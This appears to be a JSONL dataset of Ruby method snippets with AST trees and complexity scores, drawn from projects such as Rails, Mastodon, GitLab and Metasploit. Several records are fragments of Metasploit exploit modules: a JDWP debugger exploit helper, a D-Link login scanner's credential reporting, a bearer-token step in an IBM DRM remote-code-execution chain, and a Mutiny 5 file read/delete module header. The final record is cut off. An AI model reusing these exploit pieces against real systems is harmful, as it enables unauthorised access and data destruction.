{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/line/incoming_message_service.rb","start_line":119,"raw_source":"def account\n    @account ||= inbox.account\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"account\"]}]}]}","id":"c929009b-0136-40b2-b828-1312ce368175"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/progress_edit_field.rb","start_line":155,"raw_source":"def submit_by_clicking_save\n    within modal_element do\n      click_on(\"Save\")\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_by_clicking_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"modal_element\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Save\"]}]}]}]}","id":"3f6addbe-2817-4cd0-a56c-4234de39cbe7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_arguments.rb","start_line":73,"raw_source":"def empty_range_for_starting_point(start)\n          range = range_with_surrounding_space(start, whitespace: true, side: :left)\n          return unless range.last_line - range.first_line > 1\n\n          yield range.source_buffer.line_range(range.last_line - 1).adjust(end_pos: 1)\n        end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_range_for_starting_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"whitespace\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"last_line\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"first_line\"]}]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source_buffer\"]},\"line_range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"last_line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"adjust\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_pos\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"7e5cc9a1-ec41-42bc-88cf-8840bcf25915"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/authentication/strategies/warden/doorkeeper_oauth.rb","start_line":42,"raw_source":"def valid?\n            access_token = ::Doorkeeper::OAuth::Token\n                             .from_request(decorated_request, *Doorkeeper.configuration.access_token_methods)\n\n            # No access token found, so invalid strategy.\n            return false if access_token.blank?\n\n            # We don't want JWT as our OAuth Bearer token\n            JWT.decode(access_token, nil, false)\n            false\n          rescue JWT::DecodeError\n            true\n          end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Doorkeeper\"]},\"OAuth\"]},\"Token\"]},\"from_request\",{\"type\":\"send\",\"children\":[null,\"decorated_request\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"configuration\"]},\"access_token_methods\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"access_token\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"DecodeError\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"7819ef3f-ef1b-41e6-a7f9-a1d0ff4480b4"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/order.rb","start_line":93,"raw_source":"def ip_address\n          request.remote_ip\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ip_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}","id":"fdb6ad87-f547-492b-a055-5d0007be56d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":559,"raw_source":"def clear_event(event_code, r_id)\n    data = [event_code].pack('C')\n    data << [r_id].pack('N')\n    sock.put(create_packet(EVENTCLEAR_SIG, data))\n    read_reply\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_code\"]},{\"type\":\"arg\",\"children\":[\"r_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_code\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"create_packet\",{\"type\":\"const\",\"children\":[null,\"EVENTCLEAR_SIG\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"read_reply\"]}]}]}","id":"8582afc9-e1af-4fc5-b074-ea7b90daf753"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3562,"raw_source":"def pages_domain_present?(domain_url)\n    pages_url == domain_url || pages_domains.any? { |domain| domain.url == domain_url }\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_domain_present?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain_url\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_url\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"domain_url\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_domains\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"url\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"domain_url\"]}]}]}]}]}","id":"2d188264-d053-4936-b728-03ce60763f82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/burp_session_document.rb","start_line":127,"raw_source":"def collect_status\n      return unless in_item\n      return unless has_text\n      return unless @text.to_i.to_s == @text\n      @state[:status] = @text.to_i\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_item\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_text\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"to_i\"]},\"to_s\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@text\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"to_i\"]}]}]}]}","id":"c72a71e9-dc3d-4c6c-b966-9ce3041c01e5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/translate_status_service.rb","start_line":48,"raw_source":"def content_hash\n    Digest::SHA256.base64digest(@source_texts.transform_keys { |key| key.respond_to?(:id) ? \"#{key.class}-#{key.id}\" : key }.to_json)\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"content_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"base64digest\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_texts\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"to_json\"]}]}]}","id":"44cf720d-40b5-42ab-aac1-a249847eacec"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1194,"raw_source":"def test_preload_does_not_group_same_class_different_scope\n    post = posts(:welcome)\n    postesque = Postesque.create(author: Author.last)\n    postesque.reload\n\n    # When the scopes differ in the generated SQL:\n    # SELECT \"authors\".* FROM \"authors\" WHERE (name LIKE '%a%') AND \"authors\".\"id\" = ?\n    # SELECT \"authors\".* FROM \"authors\" WHERE \"authors\".\"id\" = ?.\n    assert_queries_count(2) do\n      preloader = ActiveRecord::Associations::Preloader.new(records: [post, postesque], associations: :author_with_the_letter_a)\n      preloader.call\n    end\n\n    assert_no_queries do\n      post.author_with_the_letter_a\n      postesque.author_with_the_letter_a\n    end\n\n    post.reload\n    postesque.reload\n\n    # When the generated SQL is identical, but one scope has preload values.\n    assert_queries_count(3) do\n      preloader = ActiveRecord::Associations::Preloader.new(records: [post, postesque], associations: :author_with_address)\n      preloader.call\n    end\n\n    assert_no_queries do\n      post.author_with_address\n      postesque.author_with_address\n    end\n  end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_does_not_group_same_class_different_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"postesque\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Postesque\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"last\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postesque\"]},\"reload\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preloader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"postesque\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author_with_the_letter_a\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preloader\"]},\"call\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author_with_the_letter_a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postesque\"]},\"author_with_the_letter_a\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postesque\"]},\"reload\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preloader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"postesque\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author_with_address\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preloader\"]},\"call\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author_with_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"postesque\"]},\"author_with_address\"]}]}]}]}]}","id":"f8759458-3cfb-42fc-a070-3bcc3be39ceb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/tag.rb","start_line":209,"raw_source":"def url\n    \"#{Discourse.base_path}/tag/#{UrlHelper.encode_component(self.name)}\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"str\",\"children\":[\"/tag/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"encode_component\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]}]}","id":"f2de7f82-0f33-4af2-829e-93a44e5fe2d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb","start_line":84,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: (ssl ? 'https' : 'http'),\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      last_attempted_at: DateTime.now,\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::SUCCESSFUL,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"134b62a1-a74d-43ab-9489-e334a7b2a528"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_drm_rce.rb","start_line":262,"raw_source":"def obtain_bearer_token(password)\n    # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)\n    post_data = Rex::MIME::Message.new\n    post_data.add_part('', nil, nil, 'form-data; name=\"deviceid\"')\n    post_data.add_part(password, nil, nil, 'form-data; name=\"password\"')\n    post_data.add_part('admin', nil, nil, 'form-data; name=\"username\"')\n    post_data.add_part('', nil, nil, 'form-data; name=\"clientDetails\"')\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),\n      'method' => 'POST',\n      'data' => post_data.to_s,\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n    })\n\n    unless res && (res.code == 200) && res.body =~ /\"data\":\\{\"access_token\":\"([0-9a-f-]{36})\",\"token_type\":\"bearer\"/\n      fail_with(Failure::Unknown, \"#{peer} - Failed to obtain Bearer token.\")\n    end\n\n    bearer = Regexp.last_match(1)\n    print_good(\"#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...\")\n\n    bearer\n  end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"obtain_bearer_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"deviceid\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"password\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"username\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"clientDetails\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"albatross\"]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"data\\\":\\\\{\\\"access_token\\\":\\\"([0-9a-f-]{36})\\\",\\\"token_type\\\":\\\"bearer\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to obtain Bearer token.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bearer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Bearer token \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bearer\"]}]},{\"type\":\"str\",\"children\":[\" obtained, wait for the final step where we invoke nmap...\"]}]}]},{\"type\":\"lvar\",\"children\":[\"bearer\"]}]}]}","id":"8ec9a427-ffb7-4d15-8b12-a7fb533364d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mutiny 5 Arbitrary File Read and Delete',\n        'Description' => %q{\n          This module exploits the EditDocument servlet from the frontend on the Mutiny 5\n          appliance. The EditDocument servlet provides file operations, such as copy and\n          delete, which are affected by a directory traversal vulnerability. Because of this,\n          any authenticated frontend user can read and delete arbitrary files from the system\n          with root privileges. In order to exploit the vulnerability a valid user (any role)\n          in the web frontend is required. The module has been tested successfully on the\n          Mutiny 5.0-1.07 appliance.\n        },\n        'Author' => [\n          'juan vazquez' # Metasploit module and initial discovery\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-0136' ],\n          [ 'US-CERT-VU', '701572' ],\n          [ 'URL', 'http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]\n        ],\n        'Actions' => [\n          ['Read', { 'Description' => 'Read arbitrary file' }],\n          ['Delete', { 'Description' => 'Delete arbitrary file' }]\n        ],\n        'DefaultAction' => 'Read',\n        'DisclosureDate' => '2013-05-15',\n        'Notes' => {\n          'Stability' => [OS_RESOURCE_LOSS],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),\n        OptString.new('USERNAME', [ true, 'The user to authenticate as', 